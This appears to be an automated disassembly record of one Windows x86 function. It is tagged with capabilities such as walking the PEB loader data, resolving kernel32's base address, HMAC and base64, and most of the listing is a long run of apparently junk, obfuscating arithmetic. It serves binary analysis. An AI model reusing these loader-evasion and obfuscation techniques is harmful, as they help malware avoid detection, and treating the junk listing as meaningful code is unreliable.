Function at 0x402919
Capabilities:
Access peb ldr_data
Authenticate hmac
Encode data using base64
Get kernel32 base address
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x438814]
xor eax, ebp
mov dword [ebp - 4], eax
movaps xmm0, xmmword [0x423420]
lea eax, [ebp - 0x29]
push ebx
push esi
push edi
push eax
lea ecx, [ebp - 4]
mov dword [ebp - 8], 2
push ecx
movups xmmword [ebp - 0x28], xmm0
lea edx, [ebp - 0x28]
movaps xmm0, xmmword [0x423430]
lea ecx, [ebp - 0x38]
push edx
movups xmmword [ebp - 0x18], xmm0
call fcn.004016d7
push 0xa
push str.Robbbes_Mobbles:__c
call fcn.00404087
pop ecx
pop ecx
mov eax, 0x1a1
cmp eax, 0x24
ja 0x402977
call 0x43125cc2
xor edx, edx
inc edx
shr cx, 0xb
ror di, 0xd2
sub cx, 0x9c
sub esi, edi
mul ax
imul edi
shr edi, 0xc0
mul bx
dec ebx
dec ax
rol edi, 0x85
shl eax, 0xf2
and eax, edx
shl edi, 0xf5
imul bx
rol si, 0x8a
mul eax
mul bx
movsx esi, di
mov ebx, esi
mov edx, 0x306
mul ebx
rcr eax, 0xa0
dec dx
add edx, 0xbd
rol si, 0x11
imul cx
or eax, 0x7f
and bx, cx
rcl ax, 0xbd
xor si, dx
movzx esi, si
sub bx, 0x1dd
mul dx
inc esi
or si, 0xdd
je 0x402a1d
test ebx, 0x2e
je 0x402a8f
mul si
ror bx, 0xa
ror ax, 0x40
mov dx, 0x255
rol edi, 0xd3
shr si, 0x5c
rcr cx, 0x93
imul di
and ecx, eax
rol ax, 0x15
jmp 0x402a36
inc ax
and di, dx
or edi, 0x207
rcl edx, 0xa
add eax, edi
mul si
mul si
shl edx, 0x7b
mul ecx
shl ebx, 0xa3
rol si, 0x15
add eax, 0x55
mov bx, si
dec edx
inc dx
shr esi, 0x26
rcl cx, 0x52
and di, 0x173
rcr cx, 0x47
dec si
imul ebx
or esi, 0x10f
sub edx, 0x4d
je 0x402a8f
test esi, 0x47
je 0x402b7d
imul cx
shl si, 0xf7
mul eax
sub esi, eax
rol bx, 0xf6
dec eax
dec cx
movzx ecx, di
mov cx, 0x25b
inc edi
jmp 0x402ac8
rcr cx, 0x9d
inc di
shl si, 0x66
rcl eax, 0xd3
mul edi
ror si, 2
and cx, 0x15c
mov bx, 0x364
dec edx
movzx ecx, dh
rol dx, 0x79
dec bx
inc edi
imul ebx
inc eax
xor cx, 0x176
movsx eax, bl
shr esi, 0x18
mul dx
dec ebx
movzx edx, bh
xor edi, ebx
mul esi
dec esi
and cx, bx
dec dx
or ecx, 0x78
shr edx, 0xb4
mul edi
movsx edi, al
add eax, eax
rcr dx, 0x60
rol dx, 0x54
and eax, edx
xor di, 0x3c
ror ecx, 0x45
mul ax
sub cx, 0x70
dec cx
inc esi
dec di
sub di, 0x30a
rcl ecx, 0x20
movsx esi, si
add cx, 0x4f
mov ecx, 0x10a
rcl ax, 0xb7
movzx edx, bx
and si, 0x207
add edi, 0x30c
mul ax
mul di
imul esi
rcl edi, 0x48
rol ecx, 0xc4
or eax, edi
shl ebx, 0x76
sub bx, 0x122
imul esi
movzx ecx, al
shr esi, 0x88
mul ax
xor dx, 0x1e4
inc di
mul di
ror ebx, 0x63
dec ecx
and bx, bx
je 0x402b7d
cmp ecx, 0
je 0x402c5d
sub dx, bx
and di, 0x235
rcl ebx, 0x7f
ror ecx, 0xbd
dec si
mov ax, 0x239
shl ebx, 0xfc
jmp 0x402bb0
or eax, 0x340
inc si
shr cx, 0x94
movsx edi, bl
shl dx, 6
inc bx
rcl bx, 0xb3
mov edx, 0x1b1
and bx, 0x1f2
shr esi, 0x20
xor di, 0x30d
imul di
rcr cx, 0xd0
imul eax
shl edx, 0x9c
shl edi, 0xe7
rcr di, 0x15
movzx ebx, cx
rcl ebx, 0x84
imul si
sub di, 0xc1
ror ax, 0xe2
shl esi, 0xee
imul dx
or ecx, ebx
add bx, 0x32
xor dx, dx
mul si
movsx ecx, cx
mul edi
shr edx, 0xe0
rol cx, 0xe5
shl si, 0xd4
ror si, 0xb3
movzx ebx, dl
shr si, 0xda
ror si, 0x1e
imul edi
rcl dx, 0xe9
imul edx
mul ax
mul edx
rcl esi, 0xe2
rcr di, 0x81
add dx, si
shr si, 0x11
shl esi, 0xf8
inc di
rcl bx, 0xc6
ror di, 0x92
shr ecx, 3
rol si, 0xe6
inc ecx
shl eax, 0xa6
inc ebx
inc ax
je 0x402c5d
cmp eax, 0x49
je 0x402d09
shr eax, 1
inc bx
or si, 0x2bb
rcl edi, 0x3d
imul ax
or cx, di
dec ecx
inc edi
inc dx
rol cx, 0x8a
jmp 0x402ce2
and ax, di
mul si
mul edi
dec bx
rol bx, 0xc1
add ax, di
and si, 0x28a
mul ecx
rcl edi, 0x49
rcl cx, 0xd6
rcl edx, 0x88
dec di
rol di, 0x28
rcl bx, 0x83
imul edx
movzx esi, bl
sub edi, 0x1e8
rcr di, 0xa
shr esi, 0x69
ror edi, 0xb3
rcr ax, 0x27
rcl cx, 0x7d
rol di, 0xf5
rcr edx, 0xfc
inc ebx
and cx, 0x36b
inc esi
shr edx, 0xcf
rcl di, 0xf7
or dx, 0x38f
movsx eax, dx
or si, 0x14c
rcr si, 0x69
imul edi
shl ebx, 0x25
inc esi
sub edi, edx
mul ax
shr ebx, 0xe3
inc eax
rcl dx, 0xe0
inc ecx
mul edi
rcl ecx, 0x5a
dec ecx
mul edx
and eax, 0x228
je 0x402d09
test edx, 0x14
je 0x402ddf
and ecx, 0x3b4
rcr ecx, 0xb5
rol eax, 0xef
jmp 0x402d5b
rcl si, 0xc8
imul eax
xor bx, bx
or si, cx
rcr eax, 0x44
shr di, 0x47
rcr eax, 0x3e
shr dx, 0x12
sub edi, 0xe6
xor ebx, 0x39e
movzx eax, bl
rcr ecx, 0xc5
and ax, 0x151
or esi, 0x2f
add ax, 0x3b
add edx, ecx
mul ebx
mul ax
mul ax
rcr ecx, 0x5f
or ecx, 0x176
sub ecx, edx
or ecx, 0x6e
shl esi, 0x46
dec ax
ror di, 0xb8
add ebx, 0x14f
imul cx
shr cx, 0x70
imul ecx
ror eax, 0xe2
rcl edx, 0x47
movzx edx, cl
shl esi, 0xc
mul ecx
movzx esi, bl
imul cx
mul ax
imul esi
imul edx
add di, ax
shr eax, 0x63
ror ax, 0x32
rcr cx, 0x54
rcl ax, 0x91
shr ecx, 0x92
add ebx, 0x1e3
add dx, 0x28d
dec edx
mov edi, 0x383
ror cx, 0x59
mul edx
imul si
mov ax, 0xea
shr edi, 0xe3
mov ecx, 0x3b3
dec esi
shl ebx, 0xa
inc ax
xor si, 0x179
and dx, ax
imul bx
je 0x402ddf
rcl ax, 4
jmp 0x402df3
mul cx
mul di
dec ebx
imul ax
shr eax, 0x16
rcl eax, 0x56
shr dx, 0xda
xor edi, ecx
movzx esi, dx
xor bx, 0x39
mul di
mul ax
shr dx, 0x93
xor edx, 0x5f
dec di
ror esi, 0xfe
or cx, bx
mov bx, ax
mul ax
mov cx, di
imul ebx
inc bx
dec dx
movsx eax, ax
rol dx, 0xe0
je 0x402e2d
dec si
jmp 0x402e90
dec ax
rol si, 0x82
or dx, 0x21e
xor cx, dx
dec eax
and ax, cx
shr edx, 0x7a
add di, 0x253
rcl di, 0xf3
imul cx
inc edx
shl ax, 0x93
sub si, 0x176
shl edx, 0xb8
mul cx
xor ecx, 0x3e7
mul edi
mov di, 0x1c2
rcl ax, 0xdf
imul edx
add di, ax
inc cx
rcl esi, 9
imul edx
inc bx
mul edx
mul bx
add cx, 0x2e1
rcl cx, 0x9a
shr dx, 0xab
sub ecx, ebx
mul ax
rol ax, 0xf8
shr edx, 0x10
inc edx
shr cx, 0xae
rol cx, 0xb2
mov edi, 0x35d
dec si
mov di, 0x2b2
ror si, 0xa7
imul edx
mul ebx
movsx edi, bx
ror si, 0x37
ror cx, 0x69
mov bx, 0x164
rcr esi, 0xef
mul cx
shr dx, 0x4b
add cx, 0x22c
rol dx, 0xd8
shl ax, 0x24
or edx, 0x395
and edx, esi
inc bx
add cx, 0x207
dec esi
shr bx, 0xae
rol dx, 0xcc
or edi, 0x303
sub si, bx
mul esi
shl edi, 0x85
je 0x402f1a
cmp edi, 0x49
je 0x402ff1
ror ecx, 0xcd
rcr bx, 0xa
rol si, 0x6b
jmp 0x402f63
add esi, 0x34
xor di, ax
dec si
mov bx, 0xfb
and si, 0x279
inc dx
and ecx, 0x365
imul ebx
rol ecx, 0xa0
ror edx, 0xfb
inc edx
inc di
rcl eax, 0xdb
rcr cx, 0xea
rol edx, 0x5b
rcl bx, 0xa4
shl esi, 0x2b
inc ecx
dec si
shl edx, 1
movsx eax, ax
sub dx, ax
add edi, 0x37d
or di, si
rcl edi, 0x34
ror dx, 0xdf
mul cx
shl di, 0x99
rol cx, 0xc2
imul bx
xor edi, ebx
rcl ax, 0x75
inc ax
imul edi
rol edx, 0xc1
xor ecx, 0x3b5
dec ax
shl edx, 0xeb
rcl edx, 0xdc
imul eax
imul di
shr ax, 0xe1
mul edx
mul dx
mov ecx, 0x14d
imul esi
dec di
movsx edi, si
add di, bx
ror edi, 0x60
or eax, 0x217
rcl ax, 0x36
rcl edx, 0x4e
movsx edi, dx
rcr esi, 0x40
add di, di
sub bx, 0x1c5
and ebx, 0x24
inc esi
rcr bx, 0xaf
and cx, 0x1d0
imul dx
je 0x402ff1
ror cx, 0x63
dec di
ror di, 0xf6
rol cx, 0xda
mul eax
jmp 0x403026
imul ax
xor esi, 0x255
dec ebx
sub edi, ebx
rcr ecx, 0xcd
rol cx, 0x72
rol esi, 0xab
add ebx, edx
mul esi
rol bx, 0xc1
shl di, 0xf4
xor ecx, 0x1cb
mul ax
shr cx, 0xeb
dec bx
shr dx, 0xac
mov edi, 0x12c
shr eax, 0xd
inc bx
add edx, 0xaa
imul cx
add ebx, 0x190
mul dx
rol ax, 0x75
dec cx
sub si, ax
rcl ebx, 0xc8
mul eax
rcr cx, 0x88
inc ax
inc edi
dec bx
inc ecx
imul bx
inc cx
shl cx, 0x95
mul bx
inc cx
dec ax
rcr ax, 0x52
sub cx, 0x379
xor ax, cx
sub esi, edi
sub di, 0x327
or cx, 0x29a
sub di, 0xd0
shl ax, 0x88
add esi, edi
dec di
mul eax
imul cx
mov eax, edi
ror ebx, 0x82
xor edx, 0x3bb
mov cx, dx
rcr esi, 0xff
mul edi
imul bx
shr esi, 0x9a
shl dx, 0x36
imul ax
mov cx, 0xbf
or ebx, 0x363
and cx, di
je 0x4030d7
add ax, 0x3a4
sub di, 0x301
ror si, 0xb8
and di, di
inc di
jmp 0x40313b
rcl ecx, 0xd0
mul ax
rol cx, 0x82
imul ecx
mul dx
and ecx, edx
add eax, 0x27b
imul edx
rcr si, 4
or bx, dx
or eax, ebx
rcl ecx, 0x2d
rol di, 0x89
inc ecx
and dx, bx
inc esi
mov esi, edx
ror cx, 0x49
rol bx, 0x7e
ror si, 0x46
dec ax
mul esi
mul dx
mul bx
add ax, bx
shr edx, 0x63
imul dx
mul esi
mul cx
ror bx, 0x60
ror dx, 0xcc
movzx esi, al
imul bx
ror eax, 0xc4
inc dx
shl cx, 0xd2
shr ebx, 0x38
xor eax, ecx
inc dx
mov esi, 0x4f
sub esi, 0x370
dec edx
inc ebx
movsx ebx, bh
rcl di, 0x4f
imul ecx
add edi, ecx
shl esi, 0x3e
mov edi, ebx
mul si
xor esi, ecx
shr esi, 0x52
shl cx, 0xc4
rcl eax, 0x8f
shl dx, 5
dec si
mul cx
dec eax
inc eax
mul esi
rcr ebx, 0xb9
rcl ecx, 0xbb
dec cx
rcl eax, 0x22
add edx, edi
rcl ax, 0x37
imul eax
and dx, dx
inc si
mul ecx
shr ax, 0xca
rcl edi, 0xb3
xor ebx, edx
je 0x4031c2
test esi, 0x27
je 0x40324b
xor di, 0x260
and edi, 0x2bd
rcl eax, 0xe9
jmp 0x403232
inc bx
imul edx
add di, 0x2fa
xor cx, 0x3ac
rcl si, 0xbc
movsx ebx, bx
shr edi, 0xa8
rcr ebx, 0xd3
ror ecx, 0xf4
shr eax, 0x18
inc eax
rol esi, 0x4c
and esi, 0x2aa
and cx, si
sub dx, 0x3c1
inc edi
rcr cx, 0xf5
imul ax
dec esi
ror si, 0xe8
imul edx
movzx esi, al
shl eax, 0x72
mul cx
rcl ax, 0x15
rcr ecx, 0x10
ror edi, 0x5c
sub cx, 0x34b
or dx, 0x311
rol cx, 0x99
rcl cx, 0x4b
xor si, 0x292
xor si, 0x36
shl si, 0x34
movsx edi, ax
je 0x40324b
shr ax, 0x38
and bx, 0x1e0
inc bx
rcr eax, 0x52
jmp 0x40329e
shl ax, 0x4e
rcl cx, 0x7e
ror ecx, 0x37
mov ax, 0x1f4
rol edx, 0x2a
dec dx
add bx, di
rol edi, 0x92
shl esi, 0xa6
mov cx, 0x30e
rol ecx, 0xf9
ror dx, 0x73
rcr ecx, 0x99
imul ebx
shl ecx, 0xc0
shr bx, 0xe5
xor dx, bx
mul di
xor ax, dx
dec edx
add si, bx
imul di
dec ax
shr esi, 0x44
mov di, cx
rcl bx, 0xa0
mul bx
mul esi
or bx, bx
rcr eax, 0xfe
imul edx
movzx edi, di
ror cx, 0x75
imul eax
mul di
mov eax, 0x2c4
shl cx, 0x8e
inc si
ror ax, 0x1a
mul ecx
or edi, 0x2aa
movsx ebx, di
or ecx, esi
sub ax, 0x260
inc cx
mul edx
rcl esi, 0xf2
rcr esi, 0x6c
add edi, 0x35c
inc cx
inc si
imul esi
mov ax, si
dec ax
mul ax
mul si
shr ebx, 0x75
imul ecx
inc di
inc cx
dec ax
and ax, 0x328
rcl bx, 0x45
xor bx, ax
rcl edi, 0x36
mul si
je 0x40332f
rcr edx, 0xb8
mul di
mul ax
dec ax
add si, 0x21a
ror edi, 0xdb
ror ax, 0xe3
jmp 0x4033b0
mov dx, 0x16c
inc ax
shl ax, 0xd2
mov di, 0x80
movzx ecx, bl
xor eax, ebx
shl bx, 0x91
dec di
dec ebx
or ax, 0x1ed
rol bx, 0x49
add edx, 0x2d0
mov edi, ecx
dec bx
rol si, 5
mul edx
rol esi, 0xdf
mov dx, 0x1f6
shl di, 0xa9
sub eax, 0x373
inc bx
shr di, 0xfe
sub cx, ax
inc edx
sub ax, 0x2ff
and eax, ecx
sub di, 0x34b
imul ebx
add edx, eax
or edi, 0x249
mov si, 0x151
xor cx, cx
shr eax, 0xf9
or si, ax
ror ebx, 0x7d
rcl ecx, 0x5c
and ax, 0xf7
inc esi
imul ecx
mov di, 0x249
mul ecx
dec dx
inc edi
rol cx, 0xca
inc ecx
movzx ecx, di
je 0x4033db
ror bx, 0xe6
imul ecx
imul bx
rol di, 0xd8
shr di, 0x8c
rcr ebx, 0x9e
add si, si
imul di
mov eax, ecx
jmp 0x403442
imul di
ror ax, 0x8d
and esi, eax
rol eax, 0x59
inc esi
dec dx
mov ax, 0x2b1
shr esi, 0xd9
mul dx
and cx, bx
rcr si, 0x2e
rcr si, 0xb8
inc esi
rol bx, 0xa1
mul eax
inc ecx
mul cx
or edx, edi
shr bx, 0x9f
ror esi, 0x66
xor di, 0x2cd
ror si, 0x64
xor ecx, ecx
mul dx
rol ecx, 0x43
ror edi, 0xb0
ror si, 0x5b
or bx, di
sub cx, 0x2b7
rcr edx, 0x25
xor di, bx
dec di
inc edi
or edx, edi
shr si, 0xb1
mul si
rcr ax, 0x26
shr cx, 0x26
mov ax, ax
and di, 0x340
rol edx, 0x88
xor edi, ebx
movzx ecx, cl
xor di, 0x87
add edx, 0x250
ror ebx, 0xac
and eax, 0x332
ror eax, 0x30
add dx, di
je 0x403490
test esi, 0xb
je 0x40353a
rcl edi, 0xf1
inc ebx
add bx, di
add di, ax
jmp 0x4034c1
imul eax
rol ecx, 0xed
mov di, 0x25
add ebx, 0x2b
mul ebx
dec esi
sub edx, edx
inc eax
mov ebx, 0x34c
inc ebx
add esi, 0x281
dec esi
or dx, 0x3e3
dec cx
or edx, 0xc4
mul ax
and esi, ecx
mul ecx
mul cx
rol ebx, 0x6b
rcl esi, 0xa5
dec edi
mul di
mul ax
mul ax
dec cx
add cx, cx
shr ebx, 0xc3
and ecx, 0x23d
mov eax, ecx
shl di, 0x54
and edx, 0x12d
mul edi
mul dx
rol dx, 0x42
xor esi, edi
or eax, edi
mov edx, ebx
shl eax, 0xf0
imul eax
dec si
or edi, 0x12a
dec cx
mul cx
mov di, 0x158
imul dx
rcl di, 0x65
inc ecx
rcr edx, 0xf5
rcl eax, 0x8d
inc ebx
shl cx, 0xeb
movsx esi, bx
mov edx, ebx
rcr cx, 0xc8
je 0x40353a
inc di
jmp 0x4035c9
mul eax
inc dx
add bx, dx
rcr ebx, 0x23
dec cx
rcl dx, 0x82
xor dx, 0x222
inc dx
inc bx
and esi, ebx
rcr edx, 3
sub di, 0x43
mul ebx
xor si, 0xc7
movsx esi, bl
imul ax
and si, di
inc ax
sub dx, bx
shr esi, 0xff
rcl ax, 0x55
inc bx
add ax, 0x334
or ebx, 0x304
dec dx
rcl si, 0xda
dec si
imul ax
rcl eax, 0xff
xor si, di
ror ax, 0x61
ror edx, 0x7e
mul dx
shl bx, 0x47
rol dx, 0xdc
shl eax, 0xd9
dec di
and bx, cx
add cx, 0x24
shr ax, 0x80
add di, di
movzx esi, bh
ror esi, 0x9e
xor cx, 0x183
rcr bx, 0x4f
dec dx
xor ebx, 0x208
dec ax
or di, cx
mov eax, edx
shr eax, 0x2f
rcr si, 0xe8
je 0x4035fb
test edi, 0x46
je 0x4036bb
rol di, 0x4b
ror ebx, 0xf0
sub edx, ecx
shr esi, 0x33
jmp 0x40367a
mul di
shr cx, 0xd6
inc di
rcl ax, 0x92
add edx, 0x373
shl edi, 0xd7
add eax, ecx
movsx ebx, dx
mul edi
and dx, 0xdc
rol edx, 0x10
dec edi
xor esi, 0x334
xor edi, 0x1d7
rol ecx, 0x4c
dec eax
shl dx, 0x91
imul edx
ror dx, 0xa8
inc dx
ror eax, 0xb
or edi, 0xd3
xor ax, dx
or esi, 0x1c5
rol eax, 0xa7
rcr dx, 0x3f
shr edi, 0xb9
rcr edi, 0xf
add eax, ecx
mul di
dec esi
rcl ecx, 0xa4
rcl dx, 0x74
mov esi, ecx
xor eax, 0x26f
or ecx, 0x25
movzx eax, bl
imul edi
inc bx
and edx, ebx
imul ax
or di, si
imul esi
mul ebx
or di, cx
inc si
inc si
mul dx
shl edx, 0x21
ror ebx, 0xda
mul esi
and ebx, 0x1d3
rcl ax, 0xc8
je 0x4036bb
add ecx, ebx
inc eax
inc edx
rcl dx, 0xea
mul edi
ror esi, 0x23
rcr eax, 0x28
xor bx, 0x12d
jmp 0x403706
rol ax, 0x87
rcr ax, 0x33
sub edx, 0x36
imul ebx
dec eax
and di, 0x97
rcl eax, 0x44
or di, bx
dec cx
rcr edi, 0xa8
mov eax, ebx
add eax, 0x1c2
mov bx, si
mul dx
imul ebx
or edi, edi
inc ecx
rcl di, 0x9c
and ax, 0x21a
shr si, 0x7e
ror ecx, 0x35
inc si
dec bx
mul cx
sub eax, 0x261
mul di
dec si
or bx, 0x11e
shr edx, 0x77
rcl eax, 0x7b
ror ax, 4
movsx esi, dl
rol esi, 0x9e
add bx, bx
dec ebx
rcl dx, 0x16
and edx, 0x85
movzx esi, al
inc cx
inc edx
shr di, 0xab
dec ebx
inc esi
rcr ecx, 0x56
shl ebx, 0x76
rcl di, 0xf4
rol ebx, 0x97
ror si, 0xa8
mul ax
ror ebx, 0xb9
mul cx
sub di, bx
add edi, 0x30b
shr eax, 0x70
rol di, 0xe4
inc edi
shr ax, 0x32
and cx, dx
imul eax
imul si
rcl di, 0x11
mul esi
mul ax
imul edi
shl ax, 0x3e
rol bx, 0xd8
dec ecx
je 0x403797
shl ax, 0x95
sub esi, ebx
inc ebx
rol bx, 0x87
jmp 0x403820
inc edi
shl si, 0x67
sub di, 0x221
movsx esi, cx
rol ebx, 0x10
and dx, cx
rcl eax, 0x1c
ror ecx, 0xec
mul dx
rol ax, 0xa5
rcl edi, 0x8b
mul cx
and bx, 0x343
and dx, cx
rcl esi, 0xc9
rcr ecx, 0xe1
movzx edx, cx
shr edi, 0x3d
add ax, 0x3d5
mul ebx
imul ecx
add bx, ax
rcr di, 0xf7
or ecx, 0x2c7
inc bx
rol esi, 0x19
rol cx, 0xcd
shr edx, 0xa6
dec ax
dec ax
or edx, edx
rcr eax, 0x8e
imul ebx
shl ax, 0x74
rcr eax, 0xb4
mul cx
sub si, di
inc bx
or ax, si
xor ecx, 0x382
mul ax
rcr cx, 0x39
ror bx, 0x9d
dec cx
and si, 0x1bf
xor dx, 0x5c
imul bx
rcl di, 0x53
dec edi
sub dx, si
add ecx, 0x245
inc eax
mul bx
inc ax
movsx ecx, bh
and edi, esi
inc si
and dx, 0x36c
shr ebx, 0xf0
shr si, 0xf2
dec ebx
shr cx, 0x1d
inc ebx
mov ecx, ebx
mul edi
rcr edi, 0x9d
rol bx, 0xc3
imul edx
mul dx
mul dx
inc dx
and cx, 0x1a
add edi, eax
shr di, 0xc8
dec cx
dec ebx
inc ax
imul cx
and ebx, esi
and dx, ax
movzx esi, bx
shl bx, 0x54
rcl eax, 0x74
inc ax
and edi, 0x37c
or eax, esi
shl ebx, 0x33
dec si
rol ecx, 7
shl dx, 0xa0
je 0x4038c0
rcl ebx, 0x91
imul ax
mul dx
rcr ebx, 0xf5
inc edi
inc edx
mul ebx
movzx eax, al
mul esi
jmp 0x403936
rol eax, 0x1a
sub di, 0x30
inc dx
ror ebx, 0xac
rol bx, 0x24
rcr ebx, 0xb
shl dx, 0xca
inc edi
imul ecx
shr ebx, 0xd9
or ebx, edi
shl esi, 0x42
mul dx
inc esi
rcl di, 0xf6
rol dx, 0x72
shr esi, 0x1b
imul bx
rol di, 0xc4
rcr cx, 0xd3
mul edi
dec cx
rcl esi, 0x1d
or esi, 0xb4
rol cx, 0x3d
sub ax, 0x194
mul cx
inc ebx
dec ebx
dec ebx
shr edx, 0x92
ror edi, 0x85
dec ecx
inc ecx
and si, cx
rcl ax, 0xe4
shr edx, 0x3e
mul edi
shl esi, 0xa4
inc edi
shr edi, 0xad
dec eax
rcr esi, 0xc6
and di, dx
rcl di, 8
rcr di, 0x26
ror edi, 0xb7
shr edx, 0xdb
rol ecx, 0x8d
or edi, esi
rcl di, 0xed
and ebx, ecx
sub ecx, 0x2aa
sub si, ax
imul esi
inc dx
xor eax, ebx
dec ebx
dec si
imul ax
xor bx, 0x127
imul di
add ebx, eax
rcr di, 0x34
imul ebx
add esi, 0x2ef
and ebx, 0x249
shr cx, 0x4e
and ax, 0x1dd
dec ax
shl di, 0x20
inc ax
shl esi, 0x5a
shl edi, 0x25
mul si
sub edx, 0x30a
movzx eax, bx
or ecx, 0xf8
rcr ax, 0x9c
inc cx
ror bx, 0xba
mov ax, dx
rcl di, 0x41
rol bx, 0x2a
imul ebx
rol ecx, 0x7b
mov ebx, 0xcd
ror si, 0x25
shl edx, 0x36
mul bx
add di, di
rcr edi, 0xfb
and eax, edx
je 0x403a04
cmp edi, 0x31
je 0x403acd
sub bx, 0x35d
shl dx, 0xce
dec edi
dec cx
and cx, cx
and edx, edi
shl ebx, 0xa2
rol edx, 0xb1
ror ax, 0x76
jmp 0x403a2f
xor ecx, eax
xor bx, dx
shl edx, 0xf8
inc bx
inc esi
sub esi, ebx
rol eax, 0x36
and cx, ax
rol bx, 0x7e
xor bx, 0xc9
inc edx
mul ecx
shl cx, 0xe4
shr dx, 0xdb
and ax, 0x1f1
dec edi
imul di
imul dx
mov di, 0x1fd
inc ebx
rol bx, 0xf7
rcl bx, 0xef
rol esi, 0x68
inc edi
mov esi, 0x336
dec esi
xor bx, ax
dec ebx
imul ax
shl ebx, 0x9e
shl dx, 0xc9
shl si, 0xde
rcr bx, 0xa5
rol di, 0x98
ror ax, 0x10
dec edi
mul dx
mov di, 0x227
or edi, 0x63
rcl ax, 0xf3
dec di
inc edi
rol ax, 0x3b
xor ecx, esi
rcr edx, 0x33
add edx, edx
shl ecx, 0xe5
and esi, esi
mov dx, di
shl edx, 0x66
inc ebx
sub eax, esi
rcl eax, 0x61
movzx ebx, di
add edi, 0x1ff
rcr ax, 0xce
imul dx
inc dx
and edi, 0x244
rcr edi, 0x8d
and ax, ax
je 0x403acd
sub ebx, 0x176
sub ecx, ebx
shr cx, 0x89
sub ecx, 0x178
jmp 0x403af3
mul cx
dec dx
xor bx, dx
sub ecx, ecx
movsx ebx, ax
or si, di
add si, cx
and cx, di
mul si
rcr eax, 0xf2
imul ecx
dec ebx
imul ebx
add di, 0x11f
add edx, ebx
imul eax
xor eax, edx
mul dx
inc ebx
rcr edx, 0x17
rcl dx, 0x2e
inc si
dec dx
imul edx
rcr di, 0x7f
mul ecx
dec esi
sub edx, esi
or ebx, 0x2b4
add cx, bx
ror ebx, 0xb0
and dx, 6
inc di
inc dx
xor si, bx
and ebx, 0x3c9
imul cx
dec eax
rcr eax, 0x5a
mul ebx
inc di
shr cx, 0x77
rol ecx, 0xfd
rol dx, 0x86
inc ax
rol cx, 0xe7
mov si, ax
add bx, 0xbe
add si, ax
dec ebx
or si, 0x252
mul eax
shl cx, 0xc8
add di, cx
sub edi, 0xaf
mov ebx, 0x1d
je 0x403b8c
rcr eax, 0x94
shl dx, 0xbb
xor bx, ax
rol edi, 0x15
inc bx
mul dx
dec ax
jmp 0x403c11
mov ecx, 0x8b
imul edx
rol edx, 0xba
dec dx
dec edi
and esi, ebx
mov eax, ebx
dec cx
inc ebx
movsx edi, dh
or esi, eax
rcl edi, 2
ror edx, 0xd2
or edx, 0x187
and dx, 0x35e
shl ax, 0x7b
shl esi, 0x5e
mul eax
or edi, 0x1f8
imul esi
sub dx, 0x9a
sub edi, 0x2cf
rcr ecx, 0x67
dec cx
movzx edi, cl
imul dx
and si, dx
xor ax, 0x5f
rcr ax, 0xff
rcr bx, 0x55
rcr si, 0xae
inc ebx
and eax, esi
mul ax
shl si, 0x5f
rcr edi, 0x27
mul esi
imul si
rol edx, 0x39
imul esi
xor edi, 0x99
shl di, 0x90
dec dx
rcl ecx, 0x26
dec bx
dec ebx
rcl edx, 5
rol esi, 0xdb
dec edx
dec cx
imul bx
rol esi, 0xcc
inc edx
imul si
inc edx
dec dx
xor di, 0xaa
sub edx, edi
movzx ebx, si
inc bx
dec si
ror eax, 0xa1
shl dx, 0x8a
movzx edx, bh
rcr bx, 0x4a
inc ebx
inc di
movzx esi, si
ror si, 1
je 0x403c5e
mul edx
ror dx, 0xb1
jmp 0x403ca4
or ax, cx
mov si, 0x151
rol cx, 0x9d
rcl cx, 0x1c
sub bx, 0x3c2
and ecx, ebx
dec edi
or edi, 0x3b4
mov esi, 0x125
rol ebx, 0xf3
mul eax
mov ax, 0x16b
imul si
shl di, 0xdd
movsx esi, dh
shr ebx, 0xae
rcl dx, 0xd2
movzx ecx, dh
imul esi
add dx, cx
dec ax
shl esi, 0xf9
inc dx
inc cx
rcl si, 0xa0
rol ax, 0x4e
sub si, dx
rcr ebx, 0x6b
xor eax, 0xbf
dec ecx
mul si
mul si
shl dx, 0x2c
mov edx, ebx
rol di, 0x8e
movsx edi, di
imul ax
ror ax, 0x1c
rol esi, 0xff
mul si
rcr cx, 0x46
rcr ax, 0x58
ror eax, 0xa3
shr dx, 0xfb
rcr eax, 0xcd
mov eax, ecx
inc ebx
sub edi, 0x1f4
shr dx, 0x9e
shr eax, 0x17
shr bx, 0xa7
ror esi, 0x78
ror di, 0x8a
dec edi
inc si
mul ecx
rol eax, 0xd5
sub ebx, ebx
imul bx
rol esi, 0x55
xor edx, 0x1da
imul di
je 0x403d42
cmp edi, 4
je 0x403dfd
imul bx
mul edx
shl ecx, 0x61
ror ebx, 0xcd
xor dx, 0xde
jmp 0x403d67
shl edi, 0x39
inc eax
xor di, si
rcr edx, 0xb
or ecx, eax
mul si
shl di, 1
sub si, 0x31c
shl edi, 0x6e
imul edx
xor edx, 0x67
add esi, 0xed
imul dx
xor edx, edx
sub eax, 0x125
rcl ax, 0xa1
inc si
shr di, 0x48
and esi, 0x16e
ror ax, 0x2a
shl ebx, 0x3e
ror edi, 0xc6
add si, di
inc ax
dec bx
inc edi
sub edi, edi
imul esi
rcl di, 0x56
rcr dx, 0xd4
shl ax, 0x88
shr di, 0x6f
xor ebx, 0x149
ror edx, 0xce
mov si, 0x3b
inc eax
rcr ebx, 0x15
xor di, 0x1c
or ebx, 0x248
imul ax
mul ecx
or ebx, 0x1c3
shr di, 0xe9
and edx, 0x16c
rcl edi, 0x44
rcl di, 0x79
inc esi
xor ebx, eax
je 0x403dfd
ror ebx, 0x9d
imul ax
rcr edx, 0x7c
mul ax
movsx ecx, bx
inc ax
movsx esi, di
dec bx
dec dx
jmp 0x403e53
ror si, 0x3b
rcl ax, 0xd
dec di
imul edi
shl dx, 0x9c
movsx eax, dx
add dx, 0xf7
rol cx, 0xe6
imul eax
rol cx, 0xde
mul dx
mul edx
dec esi
or ebx, edi
dec di
xor dx, dx
sub edx, ebx
inc ax
mov cx, 0x2ba
rol ebx, 0x66
mul si
dec eax
sub di, 0x243
inc eax
imul ebx
xor edx, edx
dec edx
sub cx, si
dec di
ror edx, 0x81
imul esi
rcl ebx, 0xf3
sub edi, 0x398
ror bx, 0xbb
xor si, 0x1d8
rol edx, 0xd6
add ax, 0x110
imul ax
inc eax
mul eax
rol edi, 0x3b
sub si, si
and cx, 0x298
imul ebx
mov di, bx
dec ebx
or ecx, 0x1c7
mul di
mul edx
inc cx
dec ebx
and esi, eax
dec cx
inc ax
xor ax, 0x2a8
rol edx, 0x16
shl ecx, 0x7b
sub bx, cx
xor eax, 0xb1
rcr ax, 7
ror edx, 0x21
imul esi
shl dx, 0xca
